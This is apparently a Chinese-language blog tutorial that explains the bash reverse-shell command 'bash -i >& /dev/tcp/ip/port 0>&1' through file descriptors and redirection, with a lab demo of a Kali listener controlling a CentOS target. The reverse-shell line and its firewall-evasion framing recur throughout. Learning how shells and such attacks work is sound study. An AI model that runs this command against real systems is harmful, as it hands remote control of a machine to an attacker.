1.简介 本文结合一些参考文章以及作者个人理解解释Linux的bash反弹命令中的 &>、0>&1 观点有误,欢迎指出! 目标讨论命令:bash -i >& /dev/tcp/ip/port 0>&1 2.基本知识 1. bash bash是什
本文结合一些参考文章以及作者个人理解解释Linux的bash反弹命令中的 &>、0>&1
观点有误,欢迎指出!
目标讨论命令:bash -i >& /dev/tcp/ip/port 0>&1
bash是什么? 是一种shell。 shell是什么?
此处引用
https://blog.csdn.net/weixin_42432281/article/details/88392219
Shell:一般我们是用图形界面和命令去控制计算机,真正能够控制计算机硬件(CPU、内存、显示器等)的只有操作系统内核(Kernel),由于安全、复杂、繁琐等原因,用户不能直接接触内核,需要另外再开发一个程序,让用户直接使用这个程序;该程序的作用就是接收用户的操作(点击图标、输入命令),并进行简单的处理,然后再传递给内核,内核和用户之间就多了一层“中间代理”,Shell 其实就是一种脚本语言,也是一个可以用来连接内核和用户的软件,我们编写完源码后不用编译,直接运行源码即可。
常用的Shell:bash由 GNU 组织开发,sh 是 UNIX 上的标准 shell,是第一个流行的 Shell,bash保持了对 sh shell 的兼容性,是各种 Linux 发行版默认配置的 shell。现在sh 已经基本被 bash 代替,bash是sh的扩展补充,但是也有些是不兼容的,大多数情况下区别不大,特殊场景可以使用 bash 代替 sh。
通俗点讲,shell设计好的一个程序,用户可以用他内置的命令去执行如今需要用鼠标等设备进行的操作(如:创建文件、解压缩包)等,最早期电脑没有显示屏,及没有可视化页面,一切操作全靠命令。随着用户化开发而有了如今的可视化操作。理解了这也就了解了bash简单来讲就是一个执行命令操作的窗口
冷知识:Linux在shell窗口输入echo $0可以查看当前shell是什么
在安全渗透中我们在攻击目标终端时可能会遇阻碍问题导致无法对目标终端控制,比如防火墙、ip变更连接不稳定
这里就防火墙讨论,防火墙策略除特别配置基本都是——进严出松,什么意思呢?
通俗来讲:防火墙是我买来的保镖,我的保镖保护我——让别人不能主动跟我说话。但我要主动去跟别人说话,保镖就不会拦着(前提:我没有主动给保镖设置我和什么特征的人说话他会拦着我)。
我主动跟别人说话这个过程(以我的视角)——这叫
正向连接
(我连接别人)
别人主动跟我说话这个过程(以我的视角)——这叫
反向连接
(别人连接我)
但通常我们以攻击者视角,即我主动连接别人的终端电脑,这是正向连接
别人的终端电脑连接我,这是反向连接
所以“反弹shell”就是,
被攻击的终端电脑主动把shell交给我
,这样不会被防火墙拦截。
(我要主动让你把你的手机“解锁了”给我,你也不会给我吧~)
这也间接说明反弹shell的基础是在,我至少是拥有一部分目标主机的权限(我能碰到你解了锁的手机),才能让目标主机主动把shell给我
文件描述符是什么?
这篇文章我觉得写的很清楚
https://zhuanlan.zhihu.com/p/364617329
意思是一个进程需要操作到的文件会在内核中构成一个数组,数组值代表对应的文件,而文件描述符即文件的数组下标(这也是为什么会从0开始),而规定从操作系统启动开始,有下面三个固定序号
0 表示标准输入(stdin)
1 表示标准输出(stdout)
2 表示标准错误(stderr)
即0永远代表标准输入文件的下标,1永远代表标准输出文件的下标,2永远代表标准错误文件的下标
这类似于编程中的指针,有数据结构基础可能好理解些
总结就是:
所以常用就这三个并且数字固定不变———— 输入、结果输出、报错输出 (对应0,1,2)
举个例子:
在 shell 中,我输入 whoami ,紧接着返回了 smile
那么我们可以想象,whoami和smile以及smiel@localhost等这些人类可读文字都是
数据
,这个shell的"
可视化页面
"也就是后面
黑色的荧幕
就是瓶子,这个命令过程(进程)就是一个流水线,流水线上有很多管道通向内核但我们看不见。
而我们只能看到进入了瓶子的水(即
把数据打印在黑色的荧幕上
),至于水在管道里被shell的其他部件怎么控制去内核、发生什么我们不知道也不关心
(知识点1:可视化页面只是整个shell程序的一小部分)
参考下面示例图
根据在shell窗口里一条命令显示的位置关系我暂时把以下命名
注意!!!这是三块不同区域(着重记住桶和下瓶子)
shell里默认:
编号
0
指向
键盘
(桶),是用于取水的地点
编号
1
指向
无$区域
(下瓶子),用于把水从管道导出的地点
编号
2
同样指向
无$区域
(下瓶子),因为错误信息本质也是输出
(注意和1区分,1是成功后的结果信息,2是报错信息)
可以看图,“ cat...没有那个文件... ”这部分是报错信息,因为刚刚说的2默认指向和1相同的区域,所以我们看见他在刚刚编号1的下瓶子区域显示出来
(知识点2:说明同一个区域(比如下瓶子)可以被多个描述符(编号)指向)
而所谓在进程里的那张记录0,1,2的表,可以理解为管理 本次进程 (流水线)的管理员手里拿着个名册,记录本次进程任务 需要哪些区域 (水的容器)
理解了此处,对于后面辨认重定向关系就简单多了
此时我们思考一个问题:一条命令执行前信息的读取和执行完成后结果显示在哪关键在于那张记录0.1.2是指哪个瓶子的表。如果我们能改变那张的表格。比如我们把 错误信息 放在 无$区域 (下瓶子),把 成功的结 果放在 1.txt 中,并且同时执行一条正确命令和一条错误命令,那是不是就能在两边 分别得到不同信息 呢。
百度百科对Linux重定向的解释
Linux重定向是指修改原来默认的一些东西,对原来系统命令的默认执行方式进行改变,比如说简单的我不想看到在显示器的输出而是希望输出到某一文件中就可以通过Linux重定向来进行这项工作。
首先认识几个符号
现在我们有改表的方法了,这三个符号就是我们的工具,比如说刚刚编号1指向下瓶子,我现在要换成盆(1.txt假设是盆),那么编号1就要指向盆的名字
这个箭头方向不要管!!!
理解为
“修改为”
的意思,我们只需要从左到右读,比如输出重定向,以这个
1.txt
为例。
意作
whoami这条命令进程中-标准输出1的目标
-
修改为
-
1.txt
正规写法是 whoami 1>1.txt
思考:
实验验证:
可以看到结果正如我们所设想,下瓶子区域没有任何东西,使用
cat
命令查看
1.txt(盆)
中,是有刚刚相同的信息的
并且可以看出平常我们是省略了重定向符号功能所对应的文件描述符号的( 即数字1 ),此处不加文件描述符我们把结果写入 2.txt 结果也是和 1.txt 一样效果
还记得刚刚那个问题,我们同时输入一条正确和一条错误的命令,如下:
我们使用 && 符号可以同时运行两条命令———— && 这个符号认识吧,并且的意思,前面正确后后面才进行判断
如下执行命令后:
可以看到我们同时有一个正确输出和一个错误输出,并且都在
没$符号的区域
,即下瓶子区域
所以现在我们进行实验去验证刚刚的想法,把错误信息留在这,把成功结果为了区分放在2.txt吧.我们只需要把1指向修改为2.txt,2默认指向这所以不用修改
这里先做一个错误演示
可以看到 hack.jpg 仍然在这,这是因为刚刚说了&&符号的逻辑是前面正确了才执行后面,所以这里
ls
执行完毕了,才执行后面部分,1>2.txt
不属于ls
命令,它属于cat 1.txt
,但cat 1.txt
是错误输出2,所以1>2.txt
等于没有任何效果。
所以我们要改一下写法
可以很清楚看到,原本一起显示的 hack.jpg 没有了,而我们查看2.txt(盆)里是有这个信息的。
再次提醒:2.txt里是另外一个区域,cat命令只是又把他从2.txt(盆)里提取出来,放在了无$区域(下瓶子)里,让我们看见了
至于0的输入,同样是一个代号,它默认指向的是
有$的区域(上瓶子)
,我们同样可以用重定向符号修改
那我们的命令不用键盘输入,用什么输入呢?
答案是:文本
其实我们用的最多的文本读取命令
cat
就是输入重定向
继续实验
我们在 1.txt 中写入 Hello World
如果我们要查看内容就要用到cat 1.txt
命令
但我们单独看cat 1.txt
这个命令本身,我们并没有输入 Hello World , 1.txt 代替了 键盘 ,里面的内容代替了键盘输入的内容打印在了我们的屏幕上
到这里,你应该已经很清楚了解了描述符0,1,2以及简单改变其中一个描述符的指向了
&本身是逻辑运算and的意思
在之前描述符的介绍中我们也发现了,标准输出1和错误输出2,他本质都是输出,所以我们给他内置了对描述符操作时
&
等于
1&2
注意:此符号使用时就不需要管符号在>的哪边了
&>
等于
>&
所以
whoami 1>1.txt 2>1.txt
等于
whoami 1&2>1.txt
也等于
whoami &>1.txt
还等于
whoami >& 1.txt
现在我要做一个骚操作,什么呢?
假设我要存放的文件名很长很复杂,比如叫123qweiop345qwe.txt
我现在把标准输出1和错误输出2都放在这里面,那命令是不是应该这么写
ls 1>23qwe678iop345qwe.txt 2>23qwe678iop345qwe.txt
我天,太长了,我累了!!!
所以我要简写,怎么简写呢?我们可以看到
描述符1
指向文本文件
23qwe678iop345qwe.txt
,在流水线管理员那写的是
1 ————> 23qwe678iop345qwe.txt
2 ————> 23qwe678iop345qwe.txt
我现在嫌他长,我写成
1 ————> 23qwe678iop345qwe.txt
2 ————> &1
这个意思是
错误输出2
指向的是
标准输出1
所指向的地方,即
23qwe678iop345qwe.txt
这里的&符号作为区分1是
文件名
还是
文件描述符
,如果我们少了
&
,那么2指向的是
1.txt
具体写法为
2>&1
结论:所以0>&1其实也就是输入描述符指向的是输出描述符指的地方
知识点3:文件描述符可以互相间接指向
所以我们得到两种&符号的用法
这时可能有可爱的小朋友会问了:师傅师傅,我要这样写呢
&>&0
emmmmmmmmm...
你留下来单独补课!!!
答案是:不可以,这俩符号只能用一次,会报错无法识别命令
这个不需要过多解释,这不是我们的重点,因为Linux万物皆文件。
以刚刚流水线很好理解,可以把这个东西理解为这又是一根管道,这根管子它不属于shell了,是shell外的一根管子,即流水线设备外的一根管子。
管道一端是
本地主机
(整个工厂),另一端是输入的
远程IP主机
(其它工厂),管子只关心是否成功连接以及
哪端数据口有数据就传输到对面去
,至于两端具体是什么样(是瓶子、是盆)管道不关心
所以为什么远程段会用nc监听,nc可以把传过去的数据处理后显示在对方shell页面上(nc提示监听成功那个区域也是一个瓶子,用来显示数据),如果有其它方法接收我们的tcp连接的数据,那也可以。反正两端互相不知道对方干了啥,也不关心
在此之前我们回收三条结论:
首先这是我们的命令:
bash -i >& /dev/tcp/ip/port 0>&1
这条命令的逻辑可以拆开看,因为命令是从左到右读取
bash -i >& /dev/tcp/ip/port
这是什么意思呢
而整个bash -i是一个程序,和我们输入这条命令的这个shell页面是一样的东西
(注意:这是新创建一个子shell了)
关于子shell与父shell这里暂时不解释
我们以最简单的命令讨论,一次命令就是 一个进程 ,他有一个 输入提取区域 、一个 输出存放区域
bash -i >& /dev/tcp/ip/port
意为把
bash程序
里输出的所有水(标准输出和错误输出)倒进
/dev/tcp/ip/port
这个瓶子里,而刚刚解释了/dev/tcp/ip/port是一根管子,他不能储存,所以他就流到另一端去了,即
远程监听的设备
。于是,我们在远程主机监听就能监听到这个bash程序输出的信息
注意:shell的本体任然在本地主机上,只是我们把流出来的数据导入了TCP那根管子
并且如果我们实验会发现一件有趣的事~
攻击端:Kali
靶机:CentOS
本来目的:用kali控制CentOS
首先我们的
Kali
监听9999端口
然后我们的
CentOS
输入命令,把bash的描述符1,2,即两种输出发给
Kali
回车键后,可以看到我们的光标已经到下面去了
而Kali
似乎
也进入了
CentOS
的bash
但是!!! 有趣的来了
我们在
Kali
上输入命令
ls
,回车键后光标已经下去,但是~ 我们发现没有任何反应
接着我们在CentOS上输入
ls
命令
最有趣的事来了 我现在其实已经在键盘上输入了
ls
并且回车键,但是可以看到
CentOS
上什么反应都没有,甚至连输入的东西都没有
但我们去看Kali那边,居然!!!它显示了ls的执行结果出来
事实证明我们在CentOS输入的命令是执行了的,但为什么看不到呢?
这就要说到那个显示的
ls
即刚刚称呼的
上瓶子区域
的信息是怎么出现的了。
这里我们直接说结论,相关讨论我们在文章结尾讨论,因为这不是我们的重点
ls
实际上是把
本地(CentOS)键盘
的输入的信息复制在上面了,其目的是为了防止用户输入命令时输入错误,其本质也是输出的信息,所以顺着描述符1指向的地方出去,所以跑到了
远程Kali
的页面上去了
那我们我们以及知道了我们的输入描述符0在这个语句中是没有改变指向的,仍然是默认的 本地(CentOS)键盘 ,而输出描述符1指向了TCP的管道
所以整个流程是这样:
本地键盘输入信息——>shell根据描述符0指向,从键盘读取键盘输入的信息——>进行内核交互后得到执行结果——>结果返回shell的未知部件——>shell根据描述符1指向,把结果数据丢到TCP管道里(包含执行结果和第二步读取键盘信息时复制的上瓶子区域的信息)——>输出信息经过TCP管道流到远程Kali——>kali的nc把显示数据正确显示到屏幕上
所以刚刚具体发生了示例图就变成了
我们重新梳理一下:
但其实键盘输入的复制是可以显示的,这个不是重点,我们在文章结尾讨论
清楚了前半部分,后半部分其实很好理解了,无非多加了一个指向
注意!!!
要明确的是我们的描述符1指的是
tcp连接
,即
这根管子
那么0>&1是什么意思呢
首先我们前半段的表写的是啥
0 ———— > 本地键盘
1 ———— > TCP管道
2 ———— > TCP管道
这就很好理解了,我们刚刚的
结论3:描述符可以间接指向
那
0>&1
的意思就是:描述符0指向描述符1指向的区域
所以表格变成如下
0 ———— > TCP管道
1 ———— > TCP管道
2 ———— > TCP管道
含义就是shell的输入来自tcp管道
OK本文结束了...
开玩笑~
之前我们说了TCP那根管道他只管传输数据,现在0指向了tcp管道,就变成我们原来从本地键盘接收数据,现在变成从TCP管道接收数据。管道里的数据从哪来呢?我们不关心,我们只管认准是TCP管道出来的数据就行了
那管子另一端是什么呢,是我们的远程主机的shell,更准确的是shell上的nc。
所以解释一下整个流程发生了什么:
刚刚的示例图就变成
思考:我们刚刚交互式那个问题,我们即使没有传过去可视化页面的内容,即本地的描述符1没有指向TCP管道,但0指向了TCP管道,那远程主机把键盘输入的东西传到TCP管道里,仍然可以变成了这个shell的命令输入,然后执行命令,最后把结果打印在本地主机上
答案是:当然可以
这里
Kali
开启监听
然后
CentOS
只把0指向TCP管道,可以看到光标在下面,执行成功
这时我们看kali是监听到TCP连接的并且没有shell页面,所以是原本的
全黑页面
但我们执行
ls
命令,回车键后光标已经在下面
我们再去看
CentOS
,可以看到他自己显示了结果。所以我们的结论是正确的
彩蛋:可以看到这里键盘输入的复制是显示在了 Kali 上,但我们说我们并没有把输出信息传输给Kali啊
这个回显键盘输入功能其实只在交互式起作用
具体什么是交互式页面呢,引用 交互式页面
交互式模式就是在终端上执行,shell等待你的输入,并且立即执行你提交的命令。这种模式被称作交互式是因为shell与用户进行交互。这种模式也是大多数用户非常熟悉的:登录、执行一些命令、退出。当你退出后,shell也终止了。
shell也可以运行在另外一种模式:非交互式模式,以shell script(非交互)方式执行。在这种模式 下,shell不与你进行交互,而是读取存放在文件中的命令,并且执行它们。当它读到文件的结尾EOF,shell也就终止了。
看不懂? 没关系~
反之咋就了解,交互式就是要等待用户输入命令,既然要输入,为了避免用户输错,shell就设计把我们输入的命令复制作为数据然后根据1原本默认指向shell的可视化页面,而我们把这部分输出指向tcp了,那回显的数据我们自然看不见
但如果我们用非交互式,他是从文件读取命令,这个子shell的功能就消失了。
我们可以在我们本来的父shell里输入命令,并且我们的shell本身也是交互式的,所以有回显。
但我们的TCP管道没有关,我们在父shell里输入被丢进了管道里,所以就能看见回显去输入命令了
这里反弹时直接去掉-i参数,然后我在
CentOS
输入了
pwd
可以看见
pwd
显示出来了
而Kali仍然能把执行结果显示
https://blog.csdn.net/weixin_42432281/article/details/88392219
https://zhuanlan.zhihu.com/p/364617329
https://blog.csdn.net/gui951753/article/details/79154496